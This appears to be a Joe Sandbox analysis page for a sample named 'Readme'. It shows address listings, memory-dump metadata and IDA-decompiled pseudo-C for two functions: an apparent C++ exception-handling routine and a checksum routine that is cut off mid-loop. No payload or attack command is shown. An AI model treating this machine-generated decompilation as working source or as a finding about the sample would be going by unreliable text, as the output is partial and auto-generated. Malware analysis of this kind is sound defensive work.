0x1000a50f
0x1000a511
0x1000a514
0x1000a516
0x1000a518
0x1000a51a
0x1000a51c
0x1000a51e
0x1000a520
0x1000a523
0x1000a525
0x00000000
0x00000000
0x1000a528
0x1000a529
0x00000000
0x00000000
0x1000a52b
0x1000a52f
0x1000a531
0x1000a534
0x1000a536
0x1000a538
0x1000a53a
0x00000000
0x1000a53a
0x1000a2d7
0x00000000
0x00000000
0x1000a2d9
0x1000a2db
0x1000a2dc
0x1000a2dc
0x1000a26f
0x1000a270
0x1000a272
0x1000a274
0x1000a274
0x1000a276
0x1000a27b
0x1000a27b
0x1000a27c
0x1000a27d
0x1000a27d
0x1000a27e
0x1000a27f
0x1000a2e2
0x1000a2e6
0x1000a2e8
0x1000a2ea
0x1000a2f2
0x1000a2f3
0x1000a2f4
0x1000a2f5
0x1000a2f5
0x1000a2f6
0x1000a2f7
0x1000a2fe
0x1000a300
0x1000a301
0x1000a301
0x1000a303
0x1000a303
0x1000a305
0x1000a307
0x1000a309
0x1000a30b
0x1000a30d
0x1000a30f
0x1000a313
0x1000a315
0x1000a317
0x1000a317
0x1000a31a
0x1000a31b
0x1000a31e
0x1000a320
0x1000a322
0x1000a323
0x1000a323
0x1000a325
0x1000a326
0x1000a326
0x1000a328
0x1000a32a
0x1000a32b
0x1000a32d
0x1000a330
0x1000a330
0x1000a331
0x1000a333
0x1000a335
0x1000a337
0x1000a339
0x1000a33a
0x1000a33c
0x00000000
0x1000a33c
0x1000a281
0x00000000
0x00000000
0x1000a283
0x00000000
0x00000000
0x1000a285
0x1000a287
0x1000a288
0x1000a28b
0x00000000
0x00000000
0x1000a28d
0x1000a28f
0x1000a292
0x1000a292
0x1000a295
0x1000a299
0x1000a29b
0x1000a29b
0x1000a29b
0x1000a1f9
0x1000a1f9
0x1000a1fb
0x1000a1fc
0x1000a1fc
0x1000a1ff
0x1000a1ff
0x1000a266
0x1000a266
0x1000a266
0x1000a266
0x1000a266
0x1000a201
0x1000a203
0x1000a206
0x00000000
0x00000000
0x1000a208
0x1000a20a
0x1000a20a
0x1000a20a
0x1000a20d
0x00000000
0x00000000
0x1000a20f
0x1000a20f
0x1000a210
0x1000a212
0x1000a215
0x1000a219
0x1000a219
0x1000a21b
0x1000a21d
0x1000a21d
0x1000a21d
0x1000a189
0x1000a189
0x1000a18a
0x1000a18d
0x1000a18d
0x1000a18d
0x1000a190
0x1000a192
0x00000000
0x00000000
0x1000a194
0x1000a195
0x00000000
0x00000000
0x1000a197
0x1000a197
0x1000a198
0x1000a1e0
0x1000a1e0
0x1000a24c
0x1000a24c
0x1000a24d
0x1000a24f
0x1000a251
0x1000a255
0x1000a257
0x1000a258
0x1000a25c
0x1000a25c
0x1000a25e
0x1000a260
0x1000a260
0x1000a262
0x1000a262
0x1000a262
0x1000a263
0x1000a265
0x00000000
0x1000a265
0x1000a1e3
0x1000a1e5
0x1000a1e5
0x1000a1e5
0x1000a1e8
0x00000000
0x00000000
0x1000a1ea
0x1000a1eb
0x1000a1ec
0x1000a1ed
0x1000a1ed
0x00000000
0x1000a1ed
0x1000a19b
0x1000a1de
0x1000a1de
0x1000a1df
0x00000000
0x1000a1df
0x1000a19d
0x1000a19f
0x1000a1a0
0x1000a1a3
0x1000a1a3
0x00000000
0x00000000
0x1000a1a5
0x1000a1a6
0x1000a1a6
0x1000a1a7
0x00000000
0x00000000
0x1000a1aa
0x00000000
0x00000000
0x1000a1ac
0x1000a1ad
0x1000a1ad
0x1000a1ad
0x1000a1ad
0x1000a1b0
0x1000a1b2
0x00000000
0x00000000
0x1000a1b4
0x1000a22f
0x1000a22f
0x1000a230
0x1000a230
0x1000a230
0x1000a230
0x1000a233
0x1000a234
0x00000000
0x00000000
0x1000a236
0x1000a238
0x1000a23b
0x1000a23c
0x1000a23f
0x1000a2b3
0x1000a2b3
0x00000000
0x00000000
0x1000a2b5
0x1000a2b6
0x1000a2b7
0x1000a2b7
0x1000a2ba
0x1000a2bc
0x1000a2bc
0x1000a2bd
0x1000a2be
0x1000a2c0
0x1000a2c0
0x1000a2c4
0x00000000
0x00000000
0x1000a2c6
0x1000a2c7
0x1000a2c9
0x00000000
0x00000000
0x1000a2cb
0x1000a2ce
0x1000a2d1
0x1000a2d2
0x1000a2d2
0x00000000
0x1000a2d2
0x1000a241
0x1000a242
0x1000a243
0x1000a243
0x1000a246
0x00000000
0x00000000
0x1000a248
0x1000a2ad
0x00000000
0x00000000
0x1000a2af
0x1000a2b0
0x00000000
0x00000000
0x1000a2b2
0x00000000
0x1000a2b2
0x1000a24a
0x1000a24b
0x00000000
0x1000a24b
0x1000a1b6
0x1000a1b7
0x1000a1b8
0x1000a1b9
0x1000a1b9
0x1000a220
0x1000a223
0x1000a224
0x1000a225
0x1000a226
0x1000a228
0x1000a22b
0x1000a22c
0x00000000
0x1000a22c
0x1000a1bb
0x1000a1bb
0x1000a1bb
0x1000a1bc
0x00000000
0x00000000
0x1000a1be
0x1000a1c0
0x1000a1c1
0x1000a1c2
0x1000a1c2
0x1000a1c4
0x00000000
0x00000000
0x1000a1c7
0x1000a1c8
0x1000a1c9
0x00000000
0x00000000
0x1000a1cb
0x1000a1cb
0x1000a1cc
0x1000a1cc
0x00000000
0x00000000
0x1000a1ce
0x1000a1d0
0x1000a1d1
0x1000a1d1
0x1000a1d3
0x1000a1d6
0x1000a1d8
0x1000a1d8
0x1000a1d8
0x1000a1db
0x1000a1dd
0x00000000
0x1000a1dd
0x1000a10e
0x1000a111
0x1000a112
0x1000a114
0x1000a114
0x1000a114
0x1000a114
0x1000a0c8
0x1000a0ca
0x1000a0ca
0x1000a0cb
0x1000a122
0x1000a122
0x1000a122
0x1000a122
0x1000a0ce
0x1000a0cf
0x1000a0cf
0x1000a0d0
0x1000a118
0x1000a118
0x1000a167
0x00000000
0x00000000
0x1000a169
0x1000a16a
0x00000000
0x00000000
0x1000a16c
0x1000a16c
0x1000a16e
0x1000a16f
0x00000000
0x00000000
0x1000a171
0x1000a172
0x1000a172
0x1000a172
0x1000a11a
0x1000a11b
0x1000a11f
0x1000a120
0x00000000
0x1000a120
0x1000a0d2
0x1000a0d2
0x1000a0da
0x1000a0dc
0x1000a0dc
0x1000a0dd
0x1000a134
0x1000a134
0x1000a135
0x1000a139
0x1000a13c
0x1000a13c
0x1000a142
0x1000a142
0x1000a149
0x1000a14b
0x1000a14f
0x1000a14f
0x1000a150
0x00000000
0x00000000
0x1000a152
0x00000000
0x00000000
0x1000a154
0x1000a155
0x1000a155
0x1000a15a
0x1000a15b
0x00000000
0x00000000
0x1000a15d
0x00000000
0x00000000
0x1000a15f
0x1000a160
0x00000000
0x00000000
0x1000a162
0x1000a163
0x1000a163
0x1000a163
0x1000a163
0x1000a163
0x1000a0e0
0x1000a0e2
0x00000000
0x00000000
0x1000a0e4
0x1000a0e5
0x00000000
0x00000000
0x1000a0e7
0x1000a0e7
0x1000a0e8
0x1000a0e9
0x1000a0e9
0x1000a0e9
0x1000a0ec
0x00000000
0x00000000
0x1000a0ee
0x1000a0f1
0x1000a0f1
0x1000a0f1
0x1000a0f2
0x1000a0f3
0x00000000
0x00000000
0x1000a0f5
0x1000a0f7
0x1000a0f7
0x1000a0f9
0x1000a0f9
0x1000a0fa
0x1000a0fb
0x1000a0fe
0x1000a0ff
0x1000a100
0x1000a101
0x1000a102
0x1000a104
0x1000a105
0x1000a105
0x1000a106
0x1000a107
0x1000a108
0x00000000
0x1000a108
0x1000a080
0x00000000
0x00000000
0x1000a082
0x1000a083
0x1000a084
0x1000a085
0x1000a085
0x1000a086
0x1000a088
0x1000a08a
0x1000a08a
0x1000a08b
0x00000000
0x00000000
0x1000a08e
0x00000000
0x00000000
0x1000a090
0x00000000
0x00000000
0x1000a092
0x1000a093
0x00000000
0x00000000
0x1000a095
0x1000a095
0x1000a096
0x1000a096
0x1000a097
0x1000a099
0x1000a099
0x1000a09a
0x00000000
0x00000000
0x1000a09d
0x1000a09d
0x1000a09e
0x00000000
0x00000000
0x1000a0a0
0x1000a0a0
0x1000a0a1
0x1000a115
0x00000000
0x00000000
0x1000a117
0x00000000
0x1000a117
0x1000a0a3
0x1000a0a3
0x1000a0a4
0x1000a0a6
0x1000a0a6
0x1000a0a9
0x00000000
0x00000000
0x1000a0ab
0x1000a0ac
0x1000a0ae
0x1000a0ae
0x1000a0af
0x1000a0b0
0x1000a0b1
0x1000a0b1
0x1000a0b2
0x1000a0b5
0x1000a0b5
0x1000a0b5
0x1000a0b6
0x00000000
0x00000000
0x1000a0b9
0x1000a12e
0x00000000
0x00000000
0x1000a131
0x1000a131
0x1000a133
0x00000000
0x1000a133
0x1000a0bb
0x00000000
0x00000000
0x1000a0bd
0x1000a0be
0x1000a0be
0x1000a0bf
0x1000a0bf
0x00000000
0x1000a0bf
0x1000a00f
0x1000a010
0x1000a011
0x1000a013
0x1000a014
0x1000a015
0x1000a016
0x1000a07d
0x1000a07d
0x00000000
0x1000a07d
0x1000a018
0x1000a019
0x1000a01a
0x1000a01b
0x1000a01d
0x1000a020
0x1000a021
0x1000a022
0x00000000
0x00000000
0x1000a024
0x1000a025
0x1000a02d
0x1000a02f
0x00000000
0x00000000
0x1000a031
0x1000a032
0x1000a03a
0x1000a03c
0x00000000
0x00000000
0x1000a03e
0x1000a03e
0x1000a03f
0x00000000
0x00000000
0x1000a041
0x00000000
0x00000000
0x1000a044
0x1000a046
0x1000a046
0x1000a047
0x00000000
0x00000000
0x1000a049
0x1000a04a
0x00000000
0x00000000
0x1000a04c
0x1000a04d
0x00000000
0x00000000
0x1000a04f
0x1000a052
0x00000000
0x00000000
0x1000a054
0x1000a056
0x1000a056
0x1000a057
0x00000000
0x00000000
0x1000a059
0x1000a05a
0x00000000
0x00000000
0x1000a05c
0x1000a05d
0x1000a062
0x1000a064
0x1000a065
0x1000a067
0x00000000
0x00000000
0x1000a06a
0x1000a06b
0x1000a073
0x1000a074
0x1000a076
0x00000000
0x00000000
0x1000a078
0x1000a079
0x1000a07a
0x1000a07c
0x1000a07c
0x00000000

Memory Dump Source

Source File: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7c6bf69822eac6b830ca79bd8aa822a2bdc975307204309b6f2717228ea8c76
Instruction ID: 2cfc5345daabf68f9236a07c6fefbb052d29bc9f4a34cefdd33b5aea12e150e6
Opcode Fuzzy Hash: e7c6bf69822eac6b830ca79bd8aa822a2bdc975307204309b6f2717228ea8c76
Instruction Fuzzy Hash: 7322767284E7C14FE743CB344A655917FB1EF13294B1A42DBC4C28E0BBE21A5D8AC762

Uniqueness

Uniqueness Score: -1.00%

Function 00408B60 Relevance: .3, Instructions: 320
COMMONCrypto

Download Yara Rule

C-Code - Quality: 63%

			E00408B60(int __ebx, signed int __edi, signed int __esi, intOrPtr _a4, signed int _a8, signed int _a12, signed int _a16, char _a20, signed int _a24) {
				char _v28;
				signed int _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v52;
				char _v60;
				signed int* _v72;
				intOrPtr _v76;
				char _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				signed int _v104;
				signed int _v108;
				char _v112;
				char _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				intOrPtr* _v144;
				intOrPtr _v148;
				signed int _v152;
				intOrPtr _v156;
				signed int _v160;
				char _v164;
				signed int _v168;
				signed int _v172;
				char _v173;
				char _v174;
				signed int _v180;
				char _v184;
				signed int _v196;
				signed int _v200;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				char _v232;
				intOrPtr _v272;
				intOrPtr* _v292;
				intOrPtr _v296;
				char* _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v324;
				signed int _v328;
				char _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				signed int _v368;
				signed int _v372;
				signed int _t215;
				signed int _t223;
				void* _t234;
				signed int _t240;
				signed int _t246;
				signed int _t249;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t260;
				signed int _t266;
				intOrPtr _t280;
				void* _t286;
				char _t287;
				intOrPtr _t290;
				signed int _t291;
				intOrPtr _t300;
				signed int _t306;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				signed int _t319;
				signed int _t320;
				signed int _t323;
				signed int _t324;
				signed int _t329;
				signed int _t331;
				intOrPtr _t385;
				signed int _t398;
				signed int _t402;
				int _t406;
				char* _t408;
				void* _t410;
				signed int* _t411;
				intOrPtr* _t413;
				signed int* _t414;
				intOrPtr _t420;

				_t402 = __esi;
				_t398 = __edi;
				_t324 = __ebx;
				_push(__edi);
				_push(__esi);
				_t411 = _t410 - 0xbc;
				_v72 = _t411;
				_v80 =  &_v28;
				_v88 = E00408B60;
				_v84 = 0x40c51c;
				_v76 = 0x409029;
				 *_t411 =  &_v112;
				E0040B460(__ebx, __edi, __esi, __ebx);
				_v140 = 3;
				_t215 = _a20 + 0x20;
				_v144 = _a20 - 0x30;
				_v132 = _t215;
				if(_a4 != 1) {
					L18:
					 *_t411 =  &_v112;
					E0040B540(_t324);
					return _v140;
				} else {
					_t417 = _a8 - 6;
					_t329 = _a16 ^ 0x474e5543;
					if((((_a12 ^ 0x432b2b00 | _t329) & 0xffffff00 | _a8 == 0x00000006) & (_t215 & 0xffffff00 | _t417 == 0x00000000)) != 0) {
						_v168 =  *((intOrPtr*)(_v144 + 0x18));
						_v148 =  *((intOrPtr*)(_v144 + 0x20));
						_t223 =  *((intOrPtr*)(_v144 + 0x24));
						__eflags = _t223 - 1;
						_v160 = _t223;
						asm("sbb ecx, ecx");
						_t331 = (_t329 & 0xfffffffe) + 3;
						__eflags = _t331;
						goto L13;
					} else {
						 *_t411 = _a24;
						_v108 = 0xffffffff;
						_t280 = E0040B660();
						_v148 = _t280;
						_v140 = 8;
						if(_t280 == 0) {
							goto L18;
						} else {
							_v108 = 0xffffffff;
							_t398 = 0;
							_t402 = 0;
							_v156 = E00408940(_a24,  &_v60, _t280);
							_t324 = 0;
							_v52 = E00408730(_v40 & 0x000000ff, _a24);
							 *_t411 = _a24;
							_t286 = E0040B630();
							_v160 = 0;
							_t287 = _t286 - 1;
							_v164 = _t287;
							_t420 = _t287;
							_v152 = 0;
							_v168 = 0;
							_v140 = 8;
							if(_t420 < 0) {
								goto L18;
							} else {
								if(_t420 != 0) {
									do {
										_v156 = E004087B0(_v156,  &_v116);
										_t290 = E004087B0(_t289,  &_v120);
										_t95 =  &_v164;
										 *_t95 = _v164 - 1;
										__eflags =  *_t95;
										_v156 = _t290;
									} while ( *_t95 != 0);
									_t291 = _v120;
									_v160 = _v116 + 1;
									__eflags = _t291;
									if(_t291 != 0) {
										_t323 = _t291 + _v44 - 1;
										__eflags = _t323;
										_v152 = _t323;
									}
									_t331 = 0;
									__eflags = _v160;
									if(_v160 != 0) {
										_t331 = 2;
										__eflags = _v152;
										if(_v152 != 0) {
											__eflags = _a8 & 0x00000008;
											_v173 = 0;
											_v174 = 0;
											if((_a8 & 0x00000008) == 0) {
												__eflags = _a16 ^ 0x474e5543 | _a12 ^ 0x432b2b00;
												if((_a16 ^ 0x474e5543 | _a12 ^ 0x432b2b00) != 0) {
													goto L25;
												} else {
													_t306 =  *_v144;
													goto L26;
												}
												L36:
												__eflags = _v174;
												if(_v174 == 0) {
													__eflags = _v173 - 1;
													asm("sbb ecx, ecx");
													_t331 =  !_t331 & 0x00000002;
												} else {
													_t331 = 3;
													_v168 = _v124;
												}
												goto L6;
											} else {
												L25:
												_t306 = 0;
												__eflags = 0;
											}
											L26:
											_v172 = _t306;
											while(1) {
												_v156 = E00408800(_v152,  &_v124);
												E00408800(_t308,  &_v128);
												_t310 = _v124;
												__eflags = _t310;
												if(__eflags == 0) {
													goto L27;
												}
												if(__eflags <= 0) {
													_t402 = _v172;
													__eflags = _t402;
													if(_t402 == 0) {
														_t324 = _v48;
														E004087B0( !_t310 + _t324,  &_v136);
														_t331 = _v136;
														__eflags = _t331;
													} else {
														_t331 = _v132;
														 *_t411 = _t310;
														_v108 = 0xffffffff;
														__eflags = E00408B00( &_v60, _t331, _v172);
													}
													if(__eflags != 0) {
														goto L28;
													} else {
														goto L35;
													}
												} else {
													_t319 = E00408A10( &_v60, _t310);
													__eflags = _t319;
													if(_t319 == 0) {
														L35:
														_v174 = 1;
													} else {
														_t398 = _v172;
														__eflags = _t398;
														if(_t398 == 0) {
															L28:
															_t311 = _v128;
															__eflags = _t311;
															if(_t311 != 0) {
																_t312 = _t311 + _v156;
																__eflags = _t312;
																_v152 = _t312;
																continue;
															}
														} else {
															_v108 = 0xffffffff;
															_t331 =  &_v132;
															_t320 = E00408A90(_t319, _t324, _t331, _v172, _t398, _t402);
															__eflags = _t320;
															if(_t320 == 0) {
																goto L28;
															} else {
																goto L35;
															}
														}
													}
												}
												goto L36;
												L27:
												_v173 = 1;
												goto L28;
											}
										}
									}
								} else {
									_t331 = 1;
								}
								L6:
								_v140 = 8;
								if(_t331 == 0) {
									goto L18;
								} else {
									if((_a8 & 0x00000001) == 0) {
										L13:
										__eflags = _a8 & 0x00000008;
										if((_a8 & 0x00000008) != 0) {
											L15:
											__eflags = _t331 == 1;
											if(_t331 == 1) {
												_v108 = 0xffffffff;
												E0040A430();
												goto L50;
											} else {
												__eflags = _v168;
												if(_v168 < 0) {
													L50:
													_v108 = 2;
													E0040A460(_t398);
													_t406 =  &_a20;
													__eflags = _v108 - 1;
													_v180 = _v104;
													if(_v108 != 1) {
														_v108 = 0;
														E0040ACE0(_t324, _t402);
														 *_t411 = _v180;
														_v108 = 0xffffffff;
														E0040BB20(_t324, _t398, _t402);
														goto L52;
													}
													goto L53;
												} else {
													goto L17;
												}
											}
										} else {
											__eflags = _a16 ^ 0x474e5543 | _a12 ^ 0x432b2b00;
											if((_a16 ^ 0x474e5543 | _a12 ^ 0x432b2b00) == 0) {
												__eflags = _t331 == 1;
												if(_t331 == 1) {
													L52:
													_t260 = _v144 + 0x30;
													__eflags = _t260;
													 *_t411 = _t260;
													E0040ABD0(_t324, _t398, _t402);
													 *_t411 =  *(_v144 + 0xc);
													_v108 = 0xffffffff;
													E0040A3D0(_t324, _t398, _t402);
													L53:
													 *_t411 = _v180;
													E0040ABD0(_t324, _t398, _t402);
													_v108 = 1;
													E0040A430();
													_t413 = _t411 - 0xa8;
													_v300 =  &_v232;
													 *_t413 =  &_v332;
													_v220 = _t324;
													_v216 = _t402;
													_v212 = _t398;
													_v308 = E00408B60;
													_v304 = 0x40c52c;
													_v296 = 0x409120;
													_v292 = _t413;
													E0040B460(_t324, _t398, _t402, _t406);
													 *_t413 = _v200;
													E0040ABD0(_t324, _t398, _t402);
													_t234 = _v200 - 0x30;
													_v336 =  *((intOrPtr*)(_t234 + 0x20));
													_v340 =  *((intOrPtr*)(_t234 + 0x18));
													_v344 =  *((intOrPtr*)(_t234 + 0xc));
													_v328 = 2;
													_v272 =  *((intOrPtr*)(_t234 + 0x24));
													 *_t413 =  *((intOrPtr*)(_t234 + 8));
													L0040A450(_t398);
													_t408 =  &_v184;
													__eflags = _v328 - 1;
													_v348 = _v324;
													if(_v328 != 1) {
														_v128 = 0;
														E0040ACE0(_t324, _t402);
														_v128 = 0;
														E0040ACE0(_t324, _t402);
														_v128 = 0xffffffff;
														 *_t413 = _v148;
														E0040BB20(_t324, _t398, _t402);
													}
													 *_t413 = _v148;
													E0040ABD0(_t324, _t398, _t402);
													_t240 =  *((intOrPtr*)(E0040A900(_t324, _t398, _t402)));
													_v128 = 1;
													_v152 = _t240;
													_v156 = _t240 + 0x50;
													E00408940(0,  &_v80, _v136);
													 *_t413 = _v140;
													_t246 = E00408B00( &_v80, _v156,  *_v152);
													__eflags = _t246;
													if(_t246 != 0) {
														L59:
														E0040A580();
													} else {
														_v128 = 1;
														 *_t413 = _v140;
														_t251 = E00408B00( &_v80, 0, 0x4132c0);
														__eflags = _t251;
														if(_t251 != 0) {
															 *_t413 = 4;
															_t252 = E0040A600(_t324, _t398, _t402);
															_t402 = E0040A370;
															_t324 = 0x4132c0;
															 *_t252 = 0x4134f4;
															_v368 = E0040A370;
															_v372 = 0x4132c0;
															 *_t413 = _t252;
															E0040A510();
															goto L59;
														}
													}
													_v128 = 1;
													 *_t413 = _v144;
													E0040A3D0(_t324, _t398, _t402);
													0;
													0;
													_push(_t408);
													_t414 = _t413 - 8;
													_t249 = _v372;
													__eflags = _t249;
													if(_t249 != 0) {
														 *_t414 = _t249;
														L0040C1C8();
														return _t249;
													}
													return _t249;
												} else {
													__eflags = _v168;
													if(_v168 < 0) {
														_v108 = 0xffffffff;
														E00408940(_a24,  &_v60, _v148);
														 *((intOrPtr*)(_v144 + 0x24)) = E00408730(_v40 & 0x000000ff, _a24);
													}
													L17:
													_v200 = 0;
													_t324 = 7;
													_t266 = _v144 + 0x30;
													__eflags = _t266;
													_v196 = _t266;
													 *_t411 = _a24;
													_v108 = 0xffffffff;
													E0040B610();
													_v200 = 1;
													_v196 = _v168;
													 *_t411 = _a24;
													E0040B610();
													_v200 = _v160;
													 *_t411 = _a24;
													E0040B640();
													_v140 = 7;
													goto L18;
												}
											} else {
												goto L15;
											}
										}
									} else {
										if(_t331 == 2) {
											goto L18;
										} else {
											if((_a16 ^ 0x474e5543 | _a12 ^ 0x432b2b00) == 0) {
												_t300 = _v144;
												 *(_t300 + 0x18) = _v168;
												 *(_t300 + 0x1c) = _v152;
												 *((intOrPtr*)(_t300 + 0x20)) = _v148;
												_t385 = _v144;
												 *(_t385 + 0x28) = _v132;
												 *(_t385 + 0x24) = _v160;
											}
											_v140 = 6;
											 *_t411 =  &_v112;
											E0040B540(_t324);
											return _v140;
										}
									}
								}
							}
						}
					}
				}
			}

0x00408b60
0x00408b60
0x00408b60
0x00408b66
0x00408b67
0x00408b69
0x00408b6f
0x00408b72
0x00408b78
0x00408b7f
0x00408b86
0x00408b8d
0x00408b90
0x00408ba0
0x00408ba9
0x00408bb0
0x00408bb6
0x00408bb9
0x00408def
0x00408df2
0x00408df5
0x00408e0a
0x00408bbf
0x00408bbf
0x00408bd2
0x00408bdf
0x00408d32
0x00408d3e
0x00408d44
0x00408d47
0x00408d4a
0x00408d50
0x00408d55
0x00408d55
0x00000000
0x00408be5
0x00408be8
0x00408beb
0x00408bf2
0x00408bf7
0x00408c04
0x00408c0a
0x00000000
0x00408c10
0x00408c10
0x00408c1f
0x00408c21
0x00408c28
0x00408c32
0x00408c3c
0x00408c42
0x00408c45
0x00408c4a
0x00408c50
0x00408c56
0x00408c5c
0x00408c5e
0x00408c64
0x00408c6a
0x00408c70
0x00000000
0x00408c76
0x00408c76
0x00408e10
0x00408e1e
0x00408e27
0x00408e2c
0x00408e2c
0x00408e2c
0x00408e32
0x00408e32
0x00408e3d
0x00408e41
0x00408e47
0x00408e49
0x00408e50
0x00408e50
0x00408e51
0x00408e51
0x00408e5d
0x00408e5f
0x00408e61
0x00408e6d
0x00408e72
0x00408e74
0x00408e7a
0x00408e7e
0x00408e85
0x00408e8c
0x00408f98
0x00408f9a
0x00000000
0x00408fa0
0x00408fa6
0x00000000
0x00408fa6
0x00408f1d
0x00408f1d
0x00408f24
0x00408ffe
0x00409005
0x00409009
0x00408f2a
0x00408f2d
0x00408f32
0x00408f32
0x00000000
0x00408e92
0x00408e92
0x00408e92
0x00408e92
0x00408e92
0x00408e94
0x00408e94
0x00408ebc
0x00408eca
0x00408ed3
0x00408ed8
0x00408edb
0x00408edd
0x00000000
0x00000000
0x00408edf
0x00408fb0
0x00408fb6
0x00408fb8
0x00408fe2
0x00408fef
0x00408ff4
0x00408ffa
0x00408fba
0x00408fba
0x00408fbd
0x00408fc6
0x00408fd5
0x00408fd5
0x00408fd7
0x00000000
0x00408fdd
0x00000000
0x00408fdd
0x00408ee5
0x00408eea
0x00408eef
0x00408ef1
0x00408f16
0x00408f16
0x00408ef3
0x00408ef3
0x00408ef9
0x00408efb
0x00408ea7
0x00408ea7
0x00408eaa
0x00408eac
0x00408eb4
0x00408eb4
0x00408eb6
0x00000000
0x00408eb6
0x00408efd
0x00408efd
0x00408f0a
0x00408f0d
0x00408f12
0x00408f14
0x00000000
0x00000000
0x00000000
0x00000000
0x00408f14
0x00408efb
0x00408ef1
0x00000000
0x00408ea0
0x00408ea0
0x00000000
0x00408ea0
0x00408ebc
0x00408e74
0x00408c7c
0x00408c7c
0x00408c7c
0x00408c81
0x00408c88
0x00408c8e
0x00000000
0x00408c94
0x00408c98
0x00408d58
0x00408d58
0x00408d5c
0x00408d77
0x00408d77
0x00408d78
0x00409011
0x00409018
0x00000000
0x00408d7e
0x00408d84
0x00408d86
0x0040901d
0x0040901d
0x00409024
0x00409029
0x0040902c
0x00409033
0x00409039
0x0040903b
0x00409042
0x0040904d
0x00409050
0x00409057
0x00000000
0x00409057
0x00000000
0x00000000
0x00000000
0x00000000
0x00408d86
0x00408d5e
0x00408d6f
0x00408d71
0x00408f40
0x00408f41
0x0040905c
0x00409062
0x00409062
0x00409065
0x00409068
0x00409076
0x00409079
0x00409080
0x00409085
0x0040908b
0x0040908e
0x00409093
0x0040909a
0x004090a6
0x004090ac
0x004090b2
0x004090b5
0x004090b8
0x004090bb
0x004090be
0x004090c5
0x004090cc
0x004090d3
0x004090d6
0x004090de
0x004090e1
0x004090e9
0x004090ef
0x004090f5
0x004090fe
0x0040910a
0x00409111
0x00409114
0x00409117
0x00409120
0x00409123
0x0040912a
0x00409130
0x00409132
0x00409139
0x0040913e
0x00409145
0x0040914a
0x00409157
0x0040915a
0x0040915a
0x00409166
0x00409169
0x00409173
0x00409178
0x00409182
0x0040918b
0x00409193
0x004091aa
0x004091b2
0x004091b7
0x004091b9
0x0040920a
0x0040920a
0x004091bb
0x004091bb
0x004091cd
0x004091d5
0x004091da
0x004091dc
0x004091de
0x004091e5
0x004091ea
0x004091ef
0x004091f4
0x004091fa
0x004091fe
0x00409202
0x00409205
0x00000000
0x00409205
0x004091dc
0x0040920f
0x0040921c
0x0040921f
0x0040922a
0x0040922e
0x00409230
0x00409233
0x00409236
0x00409239
0x0040923b
0x0040923d
0x00409240
0x00000000
0x00409240
0x00409246
0x00408f47
0x00408f4d
0x00408f4f
0x00408f55
0x00408f68
0x00408f7f
0x00408f7f
0x00408d8c
0x00408d99
0x00408d9d
0x00408da2
0x00408da2
0x00408da5
0x00408dac
0x00408daf
0x00408db6
0x00408dc1
0x00408dc5
0x00408dcc
0x00408dcf
0x00408dda
0x00408de1
0x00408de4
0x00408de9
0x00000000
0x00408de9
0x00000000
0x00000000
0x00000000
0x00408d71
0x00408c9e
0x00408ca1
0x00000000
0x00408ca7
0x00408cba
0x00408cbc
0x00408cc8
0x00408cd1
0x00408cda
0x00408ce0
0x00408ce6
0x00408cef
0x00408cef
0x00408cf7
0x00408d00
0x00408d03
0x00408d18
0x00408d18
0x00408ca1
0x00408c98
0x00408c8e
0x00408c70
0x00408c0a
0x00408bdf

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: a82c55dfd39a0c610aa2bb486ca2b702f981955c47fa771b32c863d3c877bdfa
Instruction ID: fb9014d8d90ad197938c66955a6f40d0fed81886d76c48f73c17b708fb267f63
Opcode Fuzzy Hash: a82c55dfd39a0c610aa2bb486ca2b702f981955c47fa771b32c863d3c877bdfa
Instruction Fuzzy Hash: 8AE1FD74A003198FDB24DF65C98079EBBB1BF44314F1486AED898AB381DB389D85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00408054 Relevance: .1, Instructions: 102
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00408054(signed int _a4, signed char* _a8, intOrPtr _a12) {
				signed char* _t61;
				signed char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed char* _t65;
				signed char* _t66;
				signed char* _t67;
				signed char* _t68;
				signed int _t69;
				signed char _t70;
				intOrPtr _t98;

				_t69 = _a4;
				_t61 = _a8;
				_t98 = _a12;
				if(_t61 != 0) {
					_t70 =  !_t69;
					if(_t98 <= 7) {
						L4:
						if(_t98 == 0) {
							L7:
							return  !_t70;
						}
						do {
